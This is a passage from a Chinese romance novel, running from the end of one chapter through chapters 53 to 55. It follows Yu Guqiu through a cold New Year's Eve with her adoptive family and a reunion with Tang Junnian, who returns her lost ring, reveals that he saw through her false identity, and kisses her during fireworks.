胡采春首先看黄金的首饰盒,嗔怪道:“你自己都没赚几个钱,干嘛给你弟弟买那么贵的东西。”说着把东西收好,张罗道,“你先去坐着休息一会儿吧,你爸他去公园下将棋了。你弟弟他们晚饭的时候才来。” 虞谷秋当然不可能真的就去沙发坐着,挽起袖子进厨房,看见宰杀到一半的鲤鱼,一框还没拍的蒜,剁完的萝卜丝…… “我来剥蒜吧。” 虞谷秋将蒜拿过来一瓣一瓣剥开皮。 胡采春抄起刀继续剔鲤鱼的内脏,边问:“昨天见面真的都还好吧?” “挺好的。” “还没仔细问你,你的身体怎么样?” “还好,没发作呢,只是有风险,现在一直有吃药。” “这真是个麻烦病啊,要时刻提心吊胆的。”她拢起眉头,哀叹一声,“要是真得上了可怎么办!可怎么找对象……” 虞谷秋不甚在意地笑笑:“反正我一个人过着也没问题。” “怎么会没问题?app老给我推呢,说要真是癫痫的话一个人生活反而危险,病本身是其次,主要是发作起来不知就磕哪儿碰哪儿了。” “要是一个人都搞不定,再和别人一起生活不是才给别人添麻烦吗?” 胡采春念叨:“人啊,太不想给别人添麻烦就会活得辛苦。” 虞谷秋心想,可是有些人要先不给别人添麻烦才能活下来啊。 胡采春见她闷不吭声埋头剥蒜,又轻轻叹口气,说道:“你回去记得把家里尖锐的家具都包一包。” * 胡采春接着又问了问她的工作和生活,仅是在这个厨房,只有她们两人在一起时会发生的对话。到了晚间的桌上,关于她的话题就不会上桌了。 两个人张罗一下午,张罗一大桌子菜,游手好闲的男人们也回来了。养父虞千山带了瓶白酒回家,满脸通红,已经喝过一点了,称下棋赢回来的。 弟弟虞文夏则是只提了一桶烟花,他的未婚妻却很周到,给家里所有人准备了礼物,虞谷秋也有份,收到一条奢牌围巾。 她收下时非常不习惯,仔细一想,这是这么多年过年时第一次从这个家里收到礼物,虽然还是来自一个暂时还不属于他们家的人。 她依次将菜端上桌,胡采春终于得到一点点空闲,立刻跑去照料阳台上的花。 虞谷秋边端菜边看向阳台,那几盆花在冬日竟然开得也很好,胡采春拿起喷壶浇水,那喷口不太灵活了,胡采春用力挤好几下,喷出的水时弱时强,一簇簇地往外冒。 她朝虞千山抱怨:“不是让你帮我带个新壶回来吗?” 虞千山拿起酒壶:“这不是拿了吗?” “我说的是喷水壶!” “你那几盆破花有什么好张罗的?” 虞文夏插嘴道:“没事妈,下次我给你带。” 胡采春这才表情舒坦点:“还是文夏懂事。” 虞千山嗤之以鼻:“他都马上成家的人了,再不懂事能成吗?不像他姐,小学就知道帮忙带早饭了!” 她在这对父子中的作用基本是这样,一个用来鞭策虞文夏的正面教材,当然也是虞文夏心里的反面人物。 虞文夏不快地嘀咕:“因为不是亲生的啊,当然不像了。” 虞千山呵斥:“别给自己找借口!” 虞谷秋麻木地听着,上完所有菜坐下。她坐在靠近厨房门的位置,这是她的固定位置,方便随时起身添菜端碗。 剩胡采春还没入座,费劲地摁着喷壶浇花,虞千山就举起筷子招呼:“吃吧吃吧。” 饭桌上的大家开始动筷,未婚妻迟疑着,也跟着一起动了。只有帮着做了一下午菜的虞谷秋没动,等到胡采春也过来坐到自己身边,她才拿起筷子。 胡采春却根本不介意大家先一步吃起来,笑眯眯地问虞文夏和未婚妻:“还合口味吗?” 未婚妻称赞:“太好吃了!” 虞文夏砸吧着嘴说:“再放点盐就好了。” 胡采春解释:“你爸他最近高血压,医生说要少盐饮食。” 虞千山皱眉道:“那今晚你不知道多放一点,就一次又没关系。难得孩子们都来,你也真扫兴。” 胡采春擦了擦手起身:“那我去把这盘回锅一下吧。” 虞谷秋按住她:“不用了吧,你都没吃几口。” 虞文夏阴阳怪气地怼道:“姐是不想吃咸的吧。” “……” 胡采春拨开虞谷秋的手:“没事,很快,几分钟的工夫。” 虞谷秋就知道会是这样,站起身将胡采春按回去:“那我去吧。” 胡采春欲言又止,最后任虞谷秋将菜从她手中抽走。 虞谷秋端着菜回到厨房,拉上门,开灶起火。抽油烟机的声音盖住了外面的交谈,她翻炒着锅中的菜,心里依旧很平静。 只要忍过这一天就行。 作为被收养的孩子,要对得起良心,她切不断这份养育之恩,既然无法真的和他们断绝关系,那么这一年一天的苦总得忍受。 她也不必替胡采春感到委屈和不值,无论自己再怎么懂事,在胡采春心里,还是不懂事的那一个是她的孩子。 胡采春什么都知道,才会说出那句懂事的人活得更辛苦。 虞谷秋下意识地摸着食指,想摸一摸戒指恢复平静。 ……戒指呢? 手指摸到空荡荡的指根,虞谷秋脸色一变。 她不管不顾,拉开门问众人:“你们有看到我戒指吗?” 未婚妻应道:“什么样的戒指?” “一个月牙型的!” 虞文夏拉住要帮忙找的未婚妻:“值钱吗?不会是什么塑料合金吧,那种丢了就丢了呗。” 虞千山也附和道:“一切吃完饭再说。” 胡采春探头望向厨房:“你菜还在炒呢!别糊锅了!” 这家里没有人在乎她的戒指。 这幕很熟悉,就像十多年前没人在乎她说离家出走那样。 虞谷秋深呼吸一口气,迅速地缩回厨房将菜料理了,然后开始仔细回想戒指的下落。昨天去俱乐部时摘过戒指,之后她就再也没有戴上戒指的记忆……这样想,极有可能是丢在了俱乐部。 她端菜上桌,借着洗锅之由回到厨房,关上门给郑宵打电话。 打了很久才打通,她抱歉道:“对不起,打扰你吃年夜饭了吧?” “没事没事,怎么了,难道是你妈逼你给我打祝贺电话?” “不是……我想来问问你有没有在俱乐部看见过一个月型戒指。” 郑宵沉吟道:“没印象啊……” 虞谷秋失落地垮下肩:“那你有那个俱乐部老板的联系方式吗?能不能帮我问问?” “没问题。” 很快,他回了她一个沮丧的表情,说老板也没看见。 他建议她:“你要么再问问你那位盲人朋友?” 她纠正他:“他已经能看见了。” 他回:“那说不定他就看到了。” 虞谷秋捧着手机叹气。 问汤骏年戒指的事,无异于变相承认自己就是吴冬,那是只有吴冬才拥有的戒指。此时再扯谎说巧合,他也不会信了吧。 但她没有别的选择了。 虞谷秋咬咬牙,在焦急和怯懦的交叉驱使下颤巍地发送消息。 「打扰了,请问你昨天在俱乐部里有看见过一枚月牙戒指吗?」 ——安静。 她盯着毫无动静的手机,厨房外有人敲门,是未婚妻在外面问:“姐姐,你来吃饭吗?” “就来。” 不知不觉的屏息在这刹那断掉,她猛地呼了一大口气,消息还是没有来。 她回到桌上就开始心不在焉,手在桌底下握着手机,不知过了多久,终于感受到它震动。 心脏狂跳,虞谷秋开始不敢点。 她往嘴巴里塞了一大块牛腩,大力咀嚼着分散注意力,同时一鼓作气地打开。 靠,结果发来消息的人是郑宵。 “怎么样,找到了吗?” 她失望又松口气:“没。谢谢,别担心了。” 手机再次震动,她以为又是郑宵回复,轻轻松松地打开。 汤骏年的头像却压过郑宵一头飘到顶。 「图片」 「是这个吗?」 他发过来的照片正是她丢的戒指。 冲击总是突如其来,做好准备时不来,不做准备时迎头一击。 偏偏戒指真的落在汤骏年手里。 虞谷秋百感交集,但还是庆幸更多一点,至少她找到了戒指,没有弄丢林淑秀留给她的遗物。 「这是你的戒指吗?」 他又发来一条。 他们这些天来的互动就像是一场飞镖竞赛,他从每一镖的虚发,到今天每一条消息都在逐级靠近靶心。 虞谷秋闭了闭眼,认命地打下三个字。 「是我的」 手机忽然又不再震动。 可你知道,当人要射出最关键的一环时,不会轻举妄动。 然后一出手,就必定干脆扎中她的心。 「我知道」 「所以我没有给任何人,留在了我这里」 第53章 果然, 汤骏年果然早已知道了。 可是他到底是什么时候知道的?明明她自认为没有纰漏,难道是戒指从她口袋中出来的一幕正好被他目击,还是之前在养老院来找时就已经看见过她……忽然间, 虞谷秋福至心灵,猛然想起一件被自己遗漏掉的致命细节。 ——汤骏年在家门口装过监控。 他眼睛好了之后去一查, 不就什么都知道了吗? 虞谷秋捂住脸, 心想这么些天自以为天衣无缝的自己真是白痴啊! 她心如死灰,畏畏缩缩地问: 「那个……你方便叫个闪送过来吗?」 她发过去地址,汤骏年很快回她:「我现在有点事, 等会儿我来叫吧」 胡采春这时夹了一筷子鱼肉到她碗里:“别玩手机了,吃饭。” 虞谷秋意思意思地拨下一点鱼肉放入嘴中。 多少年过去,胡采春依然不记得她不喜欢吃鱼。因为幼儿园的时候吃鱼刺卡到喉咙, 从此吃鱼就成了她的噩梦。 饭桌上的话题开始围绕虞文夏的婚宴,摆多少酒, 请多少人,接下来要去哪里度蜜月……虞谷秋神游天外地听着,觉得时间过得真漫长。 她低下头又看手机,没有东西已经开始配送的提示,想发消息问问汤骏年何时送,但又觉得大过年让人家寄东西已经是麻烦,不应该再催促。 对啊, 今天是除夕,汤骏年在家吗?他怎么过年呢?一个人做饭吗? 今年连飞飞都不在他身边了, 他会寂寞吧?一定会的。 她不由自主地逸出叹息, 惹得胡采春看过来。 她却误解了她的想法,以为她在眼红弟弟的婚礼,而自己却才黄了一门相亲。 但胡采春什么都没说, 又默默夹了块鱼肉过来。 虞谷秋藏起为难,又默不作声地吃掉了。 一桌年夜饭拖拖拉拉吃了个把小时,倒掉残羹冷炙,剩下一堆叠起来的脏盘子。这以前也是胡采春的活儿,但虞谷秋小的时候就帮忙一起洗碗了,深知洗碗的痛苦,于是长大拿工资后她送给家里的第一件礼物就是洗碗机。 虞千山收到东西后却骂她败家。 “盘子你妈都洗这么多年了啊,上千块买一个没用的东西干嘛?还洗不干净,感觉油油的。” 他不乐意,胡采春也就没再怎么碰那台洗碗机。 但今晚这么多盘子她都要一个个洗,虞谷秋冷眼看着胡采春把碗放进水槽,拧开水龙头,碗碟叮咣碰撞,外头开始看春晚的热闹声响,两种声响交叉在一起,虞谷秋忽然大步上前,一把拿走水槽里的碗,把它们统统塞进洗碗机。 以往她不会这样做,只会忍气吞声地看着,至多过来帮忙一起洗,两个人就这样一直把洗碗机晾在旁边。 可今晚她反抗了。 胡采春因为她的举动吃了一惊,担忧道:“这样你爸会不高兴的。” 虞谷秋把门一关:“那不让他知道不就行了?” 胡采春呆站在原地眨了眨眼:“那我们还在厨房做什么?” 虞谷秋想了想:“偷懒?” 胡采春不知所措地看着虞谷秋,莫名其妙的,两人相视笑了起来。胡采春笑着去拧开水龙头说:“那做戏要做全套。” “对……果然姜还是老的辣。” 胡采春哭笑不得地摇摆着手。 “爸以后让你洗碗,你就关上门放水,把碗交给洗碗机。” “算了吧,他会奇怪我为什么老是关门。”胡采春淡淡道,“再说平常就几个碗碟,不要紧。” 虞谷秋撇撇嘴。 厨房里安静下来,两人互相都不知道该再说点什么。即便有一年没见,但攒起来的话却只有一小碟,已经在下午的厨房里都说完了。 胡采春只能翻来覆去念叨两句家常:“你难得来,今天都没吃几口,尤其是那个鱼。” 虞谷秋有点无语。 她先是含糊道:“最近胃口一般。”可然后,她竟然鼓起勇气补上一句:“再说,我也不爱吃鱼。” 胡采春的反应超乎她想象,惊讶道:“你怎么不爱吃鱼?那不是你爱吃的鲤鱼吗?都因为吃它卡喉咙。” 虞谷秋一愣,她以为她根本不记得卡喉咙这回事了。 “是啊,所以那之后我就不敢吃了……” “是这样吗……?那你怎么不说呢?我见你每次都吃啊!” 虞谷秋垂下眼睛:“以前不敢剩菜啊。” 胡采春怔了好长一会儿,水流冲刷着空荡荡的水槽,把刚才碗碟里留下的一些污渍都冲到了下水口,堵在那儿。 她回过神,轻轻地问虞谷秋一句:“那你现在喜欢吃什么?今天桌上的有你喜欢吃的吗?” 虞谷秋的鼻头猛地一酸。 “没有。”她吸了吸鼻子别过脸,“我现在喜欢吃虾了。” 胡采春点点头:“知道了。” 洗碗机还在嗡嗡作用,没到结束的时候,两人又沉默下来。 虞谷秋看着胡采春的脸,心想自己如果有从这个家里确实地渴望过什么,那胡采春是她想过说不定能从她身上获得一点爱的人。 即便她和另外那两个人一样不在乎自己的离家出走,但她却也是在她买来早饭的那天早上,唯一问她你为什么突然跑下楼去买早饭的人。另外两个人只是拿走包子和豆浆,吃得满嘴流油。 但后来闻着霉味的被子,躺在毕业后无处下脚的房间里时,虞谷秋明白她无法从胡采春身上得到任何,渐渐接受自己是这个家里一件家具的事实。 她单纯地认为,只是因为她们之间没有血缘的牵绊。 但此时此刻,虞谷秋又看见了胡采春流露出来的,对她的一点真心。 年岁渐长,她似乎终于在此刻明白胡采春为什么会无法给她任何。胡采春难道给虞文夏的就是自己曾经渴求过的爱吗,好像也不是。她不爱任何人,甚至不爱自己。早在虞谷秋之前,这个家里已经存在一桩家具了,叫做胡采春的家具。 虞谷秋这么想着,冲动之下开了口:“妈,你从没想过和爸离婚吗?” 胡采春惊得几乎要跳起来了。 “你这孩子也没喝酒啊?说什么胡话呢?” 虞谷秋执拗地问:“你真的从来没想过吗?” 胡采春拉下脸:“你再乱说话我要生气了。好好的说什么离婚,你爸他又没出轨又没赌博的。” “不是他非要做错什么才能离婚啊。” “那不然呢?” “你不快乐还不够吗?” 胡采春茫然地望了望天花板,嗤笑一声:“都要三十岁了还说小孩子的话。” 虞谷秋深呼吸:“妈,我只是想告诉你,你可以有这样的念头。至少我会支持你,经济方面也好……” 胡采春额头青筋隐隐跳动,她直呼其名厉声打断她:“虞谷秋!你别自己不当家里的一份子就盼着把家打散想我们都不好!给我滚出去,不准再提了!” 她乱七八糟地强行中止了洗碗机,湿着一双手从里面掏出洗到一半的碗碟,重新丢回了水槽。 虞谷秋转身离开了厨房。 客厅里坐在沙发上的三人没注意到她们在厨房的争执,电视声音开得很大,春晚的笑声飘满整间屋子。 沙发被占满,弟弟的未婚妻见虞谷秋出来,跟着起身要让位。虞谷秋摆摆手,拖了把椅子过来坐到边上。 她摸出手机查看,仍没收到收件码短信,迟疑着还是发出一条消息问汤骏年情况。 等他回复的间隙,她刷了会儿朋友圈,各路人马都在晒年夜饭,却没看到许琼的。 她那么乐意在朋友圈分享生活,又怎么会错过这种大年夜,这个点该发的也都发了。虞谷秋只能想到一种最大的可能:自己大概率被屏蔽了。 虞谷秋觉得自己真可笑。 为在朋友圈特意找许琼的自己感到可笑,为刚才在厨房多管闲事的自己感到可笑。 她对自己说她不在乎任何一边,但事实是任何一边都不在乎她。 肚子在这个时候感到饥饿地,小小地叫了一声,被电视里的笑声盖过。 虞谷秋站起身,套上外套说了句我去楼下买点东西,虞文夏见缝插针地喊那给我带包烟!玉溪! * 便利店就在家门口,但一出楼道,虞谷秋就被灌进脖子的冷风冻一哆嗦,开始后悔应该套个围巾下来。 她将双手揣进口袋,像只不太灵活的企鹅跑向对面。 便利自动门应声而开,温热的暖气扑面而来,刷着短视频的年轻店员心不在焉。同样是漠视,虞谷秋却舒爽地松下神经,慢吞吞地在货架间走来走去,最后挑了一包冬阴功味的合味道,一只蟹棒,再加一瓶香蕉牛奶,口水开始在嘴里分泌。 她抱着这些到柜台,看到店员身后的一货架烟,心情又讨厌起来。 “帮我拿一包玉溪,谢谢。对了,店里可以泡泡面吗?” “热水在那儿,尽管用。” 虞谷秋道过谢,搓着手去泡面。店里正好有临窗的吧台座,这样背对着店员吃泡面比较不尴尬。 等待泡面泡开的的过程中,汤骏年终于回消息了。 「戒指马上送到」 虞谷秋一脸疑惑。 「怎么可能,我都没收到取件码」 「除夕夜叫不到闪送」他回,「所以我给你送过来了,马上就到小区门口」 虞谷秋愕然地抬起头看向街对面。 昏黄的路灯下,车少无人,空旷不已,又一辆车划过眼前后,拄着盲杖走着的汤骏年入了画,从左侧的窗框里慢吞吞地进入她的视野。 他仍是穿着黑色大衣,围着一条纯白围巾,在路灯下泛着橙黄的光。 虞谷秋忽的按出了这通电话。 嘟,嘟,嘟。 虞谷秋看见汤骏年停下来,在冬日里呼出冷气,冻红的手摸出手机,双目凑近看向屏幕,看见这个号码,神情流露出无措,仿佛不知道接通键在哪儿,慌乱地接起。 电话两头是互相此起彼伏的呼吸。 继而,他似有所感地转过了身。 两人再一次隔窗相望。 只是这一次,是汤骏年站在了窗外。 虞谷秋举着手机,另一只手捂着泡面,热气拂过手。她吞咽着,不再因为馋,而是某种难以言语的情绪,喉咙数次翻滚,轻飘飘出一句:“嗨。” 汤骏年也举着手机,表情因为隔得远看不清晰,只听见他的声音通过电话传来,明明相隔着很近,那声音却有些沙沙的,像隔了很远的光年,从宇宙的那一头传过来。 “嗨。”他说,“你的喉咙终于好了。” 虞谷秋咬住嘴唇。 他轻笑:“怎么又不说话了,吴冬?” 又一辆红色的车驶过。 汤骏年向她跑来。 第54章 叮咚——便利店的自动门打开, 黑色大衣的男人走进来,冲虞谷秋的位置而来。 虞谷秋看着汤骏年越走越近,目光下意识越来越低, 垂到地上,看着他的脚步站定在她跟前。 虞谷秋倍感尴尬, 她宁可他呵斥自己说两句说果然是你为什么要骗我之类的, 也好过他这样四两拨千斤地配合着她拙劣的演戏。这样反而有一种说不上来的微妙的坏心眼。 她僵硬道:“谢谢你特地跑一趟,没有人接单你可以跟我说的,明天再送也可以。” “没关系, 反正我今天有空。而且我现在也能一个人去各种地方了,送这个也不麻烦。”汤骏年从大衣口袋里掏出包好的戒指,“而且这是她给你的, 很重要不是么?” 虞谷秋讷讷地拿回来,一把揣进口袋。 “不戴上吗?万一又丢了。” 她又掏出来, 在他的目光中心虚地戴进食指。 汤骏年的目光移向桌子,低头仔细辨认,确认那是泡面没错。 “你怎么会在这里吃泡面?没吃饭吗?” 虞谷秋悄悄挪了下位置把其他的零食挡住:“吃过了,没吃饱。” 汤骏年知道她的家庭情况,一想便了然了。 他略一思索,说:“刚好我也没吃年夜饭,不然你请我吃饭吧, 如果你想谢谢我亲自送戒指过来。” 虞谷秋狐疑地看着他:“你真的没吃年夜饭?” “吃过晚饭了,但没吃过年夜饭。”他看着她说, “一起吃饭才能叫年夜饭吧?” 虞谷秋怔然, 心里想,他果然是一个人。 几乎是一瞬间,她就想对着他点头, 跟他走了。 可是这样不对,如果是这样,那她这些天来的躲避和坚持岂不是功亏一篑? 她咬咬牙,冷酷道:“今天可是除夕夜,除夕夜是要和家人一起过的。” 汤骏年一针见血地问:“可那些人能算是你的家人吗?” 虞谷秋被刺到,下意识回了一句有点伤人的话:“那我跟你更不能算。” 汤骏年却很平静:“所以你去哪边都没关系,看你的意愿。但至少和我一起你不必要吃泡面。还是你已经讨厌我到连这样都忍受不了?” “我怎么会讨厌你?” 他露出一丝苦笑:“不是吗?我想是我做了什么让你非常讨厌的事你才会像现在这样,离得我远远的。” “不是的!绝对不是!我没有撒谎!” 他眨了眨眼,笑容中的苦涩被慢慢稀释。 “真的吗?” 追问的语气好像个小孩子。 虞谷秋狂点头:“一万个真。” “如果不讨厌我,那就可以一起吃饭吧?” 话题就这样又绕回来了。 虞谷秋仍然在为难,理智叫嚣着不可以,绝对不可以,要守住线。情感却已经迫不及待想搭上了汤骏年向自己伸出来的手。 放在桌面的手机亮起,是虞文夏发来了一条催促的消息。 「买个烟而已,你属树懒的啊?」 这条消息打乱了摇摇欲坠的天平,彻底向不理智的方向倾斜。 虞谷秋猛翻一个白眼,无视消息,长按关机,一气呵成。 她看向汤骏年,咬咬牙:“我们走吧,就只是吃一顿饭。” 离开前,她掏出口袋里的烟,随着泡面一起恶狠狠地扔进垃圾桶。 * 虞谷秋的本意是和汤骏年一起找一家还开着的饭店随便吃点,结果找了好几家,要不关门大吉要不就是只接待预定,能吃上的估计就剩连锁快餐,那和泡面也没什么区别。 于是,兜兜转转,他们又回到了这里。 虞谷秋看着汤骏年家的门口,她还记得自己第一次叩开这道门,看见他从里头探出脸时的匪夷所思和惊心动魄。 为了他能理睬自己,她编造了一个名字,交集也由此开始。 而在发生了那么多事之后,她又站在这里,只是,这回终于是虞谷秋了。 这感想来得多余,她在离开汤骏年的这些日子里确实以为她不会再来这里了。 但……就是吃一顿饭,老天也会允许她纵容一下自己的留恋吧。 就把这次当作好好的告别,这样两个人都不会有遗憾。 她跟在汤骏年身后进屋,一进来时就感觉有哪里不一样了。房子很空荡,不再有那个摇头晃脑的小狗安静地贴上来蹭她的脚踝。 她只是作为一个和飞飞接触过几次的人尚且会有这种失落,汤骏年的心情更不言而喻。人生里痛苦的事有很多,其中最让人难受的其中之一是面对分离,其二,是面对未知。 恰好,汤骏年同时经历了这两者。 他刚刚恢复视力,需要熟悉一个十年里已经淡忘的世界,而这个世界里他熟悉的,可以让他感觉安定的人事都不存在了。 虞谷秋这时才很深地感觉到,她那样堪称粗暴的离开非常不讲道理。 她注视着汤骏年脱下大衣后清瘦的背影,他拎着菜往厨房走,月光下身姿的影子被压缩成薄薄一片,虞谷秋的情绪突然就抑制不住。 “对不起。”她忽然道。 他回过身:“怎么了?” “对不起。”虞谷秋低下头,“我不该那样……” 汤骏年风轻云淡地打断了她。 “你一直联络不上的时候,我想过很多可能。对我来说最可怕的是两个结果,一个刚才说过了,我怕是我做了什么让你非常讨厌我。还有一个就是怕你发生了意外。但那天去养老院我就看见你了,所以你没事,我就放下心。现在又知道你不讨厌我,对我来说就足够了。我已经松口气。” 虞谷秋愣愣地:“你在养老院看见我了……?” “是,我看见你朝我的反方向跑走了,虽然是一个很模糊的身影,但我觉得是你。” 虞谷秋难过道:“你是看了监控,知道是我的吧?” 汤骏年蓦地沉默下来,嘴唇动了动,略微叹息。 “从你第一次敲开我的门的时候,我就知道是你了,虞谷秋。你没发现我都尽可能不叫你吴冬吗?” 虞谷秋傻眼。 “不可能。”她立即反驳,“我们十年没见!声音虽然和高中比没什么变化,那也是十年!加上我们高中也没什么交流,你怎么可能听一下就听出来……” “我是没有一下子肯定是你,但听得越多,就越肯定是你。”汤骏年道,“如果那个人是我格外在意的人,我怎么会记不住对方的声线。所以你开口打招呼的时候,我就怀疑了。” 虞谷秋渐渐没了底气:“但也许,也许只是声音比较像。” “也有这个可能,但你的假名起得实在太烂了。” “……真的很烂吗?” “一个秋一个冬……”他看着她的表情改口,“只是粗糙,容易联系到,不是烂。” 虞谷秋不甘心地强词夺理:“那万一就是有一个叫吴冬的和我声音差不多的人存在呢!” “是,所以我一直只是抱有怀疑。直到那一天,我听到了。” “……什么?” “张艋他们来过清身指名我按摩,是你赶他们走的,我听到了。虽然你可以不必这么做,我不会觉得有什么,我做我的工作,他们是客人。”汤骏年道,“但……我还是很感谢你当时维护我。” 虞谷秋脸青一阵红一阵,喃喃:“原来你那时候就发现了,那你当时不拆穿我?” “我希望你能主动告诉我,但是到最后你都没说。我没有等到真相。而真相代表着真心。” 汤骏年微笑着,但他的语气却有了一点失控。 “吴冬是假的,那么你用这个假名对我说过的感情,也全部是假的吗?” 虞谷秋没说话,而是松了口气,心里想,太好了,他终于表露出生气。 引而不发的情绪最可怕,现在他这样逼问她,她反倒安心。 虞谷秋直视着汤骏年的双眼,回答:“不是假的。” 汤骏年的眼神变得有些迷离,微微眯起,为了更清楚地看清她的表情。但他们的距离并不能让他做到这一点。现在虞谷秋对他而言只是一个模糊的轮廓。 他放弃地偏过头,不再追问那到底是为什么,沉默地走向厨房。 虞谷秋沉默地跟进去,帮忙打下手。 菜是刚才在超市随便买的,没有剩下多少食材,最后挑了一些决定还是做火锅。汤骏年洗菜装盘,虞谷秋便在一边热锅烧水,两人还是有点默契,跟上次准备火锅时一样利落,三下五除二就端上了桌。 汤骏年问:“要不要再看点什么?” “春晚?” “行。” “你已经回清身上班了吗?” “是,不过这几天店铺关了,大家都回家过年。” “那还挺好的。” “养老院不放假吧?” “嗯,但有春节轮班的同事。我可以休到初五。” “那就太好了。” 他又拿来那台老式的笔记本,找到正在直播的春晚,略显冷清的客厅顿时热闹非凡,可虞谷秋仍觉得很空旷,此时此景,该有那只小狗被热腾腾的火锅吸引,趁机钻到桌下来了。 她忍不住问:“飞飞现在怎么样了?被领养了吗?” 汤骏年答:“听说已经确定了。” “是吗……” 她不知道该怎么说,当时明明夸下海口要去领养飞飞,但体检结果出来后,她就知道她与飞飞无缘了。 而他会觉得她的所作所为是在戏弄他和飞飞吗? 接下来两人陡然沉默,汤骏年会突然挑出锅里的虾子到她碗里,虞谷秋呆一下,然后夹一筷子山药回送到汤骏年碗中。两个人送来送去,好像在互相较劲,锅里本就不多的食材很快见底。 虞谷秋却开始依依不舍,多希望这顿饭能久一点,再久一点,她可以吃更多,吃到肚皮撑破。只要能和身边这个人再待久一点。 但另一个声音又在说,不要再待了,万一突然在今晚发病怎么办。趁现在赶紧离开吧,以后也不要再见面了,不要让他在拥有视力之后第一下看见的是你的丑态。 虞谷秋放下碗筷,在春晚的笑声中向他告别。 “汤骏年,我欠你一句当面的再见。” 汤骏年也放下筷子,看过来。 “以后连朋友都当不成吗?” 虞谷秋屏住呼吸,一鼓作气:“当然也不是,如果你有什么困难需要我帮忙,我一定义不容辞。但普通的吃饭见面……就不必要了。” 他垂下头,安静了好久,开口说: “虞谷秋,你既然说你对我的爱不是假的。那么你是不是只爱那个瞎了的我?高中的时候你不在意我,我现在手术治好眼睛了你也迅速离开,这是白骑士情结吗?”他的声音变得软弱,“你只想充当我的拯救者。现在时机成熟,你就准备离开,去充当下一位的拯救者了。” 高中的时候,我不在意你? 虞谷秋听到这句话真想发笑。她心想,自己太厉害,当年竭力隐藏对他的心思怕他讨厌,她做到了,且未免太成功。如今这竟然成为一道不错的回旋镖,扎中的却是两个人。 她果真也笑了出来,却让汤骏年的牙关咬得更紧。 而他想,自己完全猜中了她的病态心理,不然无法讲通她的突然抽离。 如今她的不反驳更是坐实这个想法的最后一根稻草。 事实上虞谷秋根本不知道什么是白骑士情结,只是想他既然已经找出一个合理的逻辑说服自己了,那她就误打误撞让他这么认为好了。 汤骏年冷着脸起身走向房间,再出来时手上抱了一桶烟花。 “我没有再别的要求,至少等放完烟花再走,可以么?” 虞谷秋犹豫片刻,跟着起身。 两人来到阳台,汤骏年放下烟花,滑开火柴点燃引线,劈劈啪啪地往上烧,一束烟花扑簌簌腾空,红色撒落,照满他们的脸。 现在离零点还早,家家户户暂时还按捺着放烟花的心情,于是他们的烟花独占鳌头,占据小半天空。 烟花打落的空隙,虞谷秋的余光扫向汤骏年,却惊异地发现他闭着眼。 “你干嘛不看?” “我在看。”他闭眼仰望着天空,“虞谷秋,告诉我现在的烟花是什么样子吧。” “……好。” 这一切又梦回那一天。 虞谷秋也闭上眼,望着天空,胡乱说道:“现在呢,是绿色的烟花,就跟刚下锅焯水的嫩竹笋一样青绿……” 而这时,汤骏年却打断了她。 “原来你上次也是这样闭着眼跟我说的吗?” 他已经不知不觉睁开眼,看着她,自然也知道刚才打上天空的并非绿色。 虞谷秋理直气壮:“对啊。这样才叫一起看嘛。你看不见,我也看不见,但我们最后都能看见。” 话落,一朵五彩烟花打亮,砰砰,汤骏年怔然地看着她的侧脸,迷迷蒙蒙的,他的视野看过去就是如此,被花火一衬,如梦似幻。 烟花打往的方向到底是天空,还是他的心脏? 汤骏年轻轻吸气,别过脸,说:“你骗我的事情里又要加一件了。” 虞谷秋破罐破摔地耸肩:“是,这么一想,我骗了你好多事啊。” 汤骏年无可奈何地再次闭上眼,这是一个接受她欺骗的动作。 虞谷秋于是也又闭上了眼睛,照旧胡言乱语地给他播报烟花实况,红说成绿,绿说成黄。 直到最后一束落下,不再听到声音。 她正要将眼睛睁开,一束压轴的大烟花发出咻咻的前奏,预示着这一切并没有结束。 汤骏年说的没错,人在失去视觉时,其他的感官会被更剧烈地调动,所以她的耳朵能捕捉到那最后一束还没打出去的烟花,除此之外还有衣服轻微的摩擦声,是一个人弯下腰来压出的褶皱。她的鼻子能闻到烟花散在空气中的,淡淡的硫磺味,还有正在这一刻向她靠拢的熏香的气味。而她的嘴唇…… 她的嘴唇在颤抖。 因为另一双温热的嘴唇倾下来了,贴住她的唇角,这一刹那,头顶的火花摧枯拉朽。 最后一束烟花打上去了,是什么颜色,她不知道。 汤骏年的嘴唇退开一点距离,气声哀哀地呢喃,不要走,不要不见我,好不好? 第55章 虞谷秋重新回到养父母家时, 果然免不了被一顿训斥,虞千山质问她一去几小时还打不通电话是在干什么,他们差一点就要报警。 虞谷秋哪里还管得上他们的训话, 一副神游天外的表情。 她甚至都不记得自己怎么从汤骏年家里出来的,她被那记浅浅挨中嘴边的吻给慌到无法思考, 那瞬间脑子里想的是, 好遗憾,为什么他吻偏了。是因为视力不好没看清吗? 令虞谷秋羞愤的不是这个吻,而是自己脑袋里那瞬间冒出来的这个想法。 她什么也答不上来, 答不好,当着他面她于心不忍。说好,那就无法收场。只好又当起叛逃的小兵, 跑回客厅捞起手机就跑了,仗着汤骏年现在的视力也跑不快, 追不上她。 她漫无目的在街上跑了好一会儿才打到车,神情却依旧没冷却,还好,手机仍是关机的,她还处在一种暂时不用理会所有人的真空中。 不过等回到养父母家,真空包装袋撕开了,她又要开始面对一切。 虞谷秋垂首听了一通训, 不顶撞也不言语,这态度反而让虞千山更恼火。 “你倒是说话!”他厉声。 虞谷秋终于拿出黑屏的手机:“没电了。” “那你人去哪里了?不是说去楼下买东西吗?用得了那么长时间?” 虞文夏见缝插针道:“对啊, 我的烟呢?” 虞谷秋冷眼说:“在便利店垃圾桶里, 你自己去捡吧。” 虞文夏愕然,怀疑自己听错了。 虞谷秋的身体里还藏着一种火热的余韵,是刚才一路在街头里乱跑时带出来的, 这股余热并没有散去,在这一刻开始烧着她的神经。 她看向虞千山身后,沙发上坐着虞文夏,和在他旁边不知所措满脸尴尬的未婚妻。胡采春坐在她之前搬过来的椅子上。 虞谷秋收回视线,抬头撞向虞千山的眼睛。 “我是去买东西,去买吃的。”她坦白道,“因为我没有吃饱,所以我出去吃了。” 虞千山好笑道:“你没吃饱?那么大一桌子菜你跟我说你没吃饱?”他匪夷所思,“你嘴巴比天王老子还叼啊?” 虞谷秋平静地反问他:“爸,那你能说出菜桌上有哪道菜是我爱吃的吗?” 他张口正要说,却硬生生转了个弯,继续呵斥道:“都多大年纪的人了,还爱吃这爱吃那搞挑食?” “你不也是吗?你也光挑几道菜吃。” 他哑然,继而冷下脸理直气壮道:“我记得你爱吃什么有什么用,做饭的又不是我。” 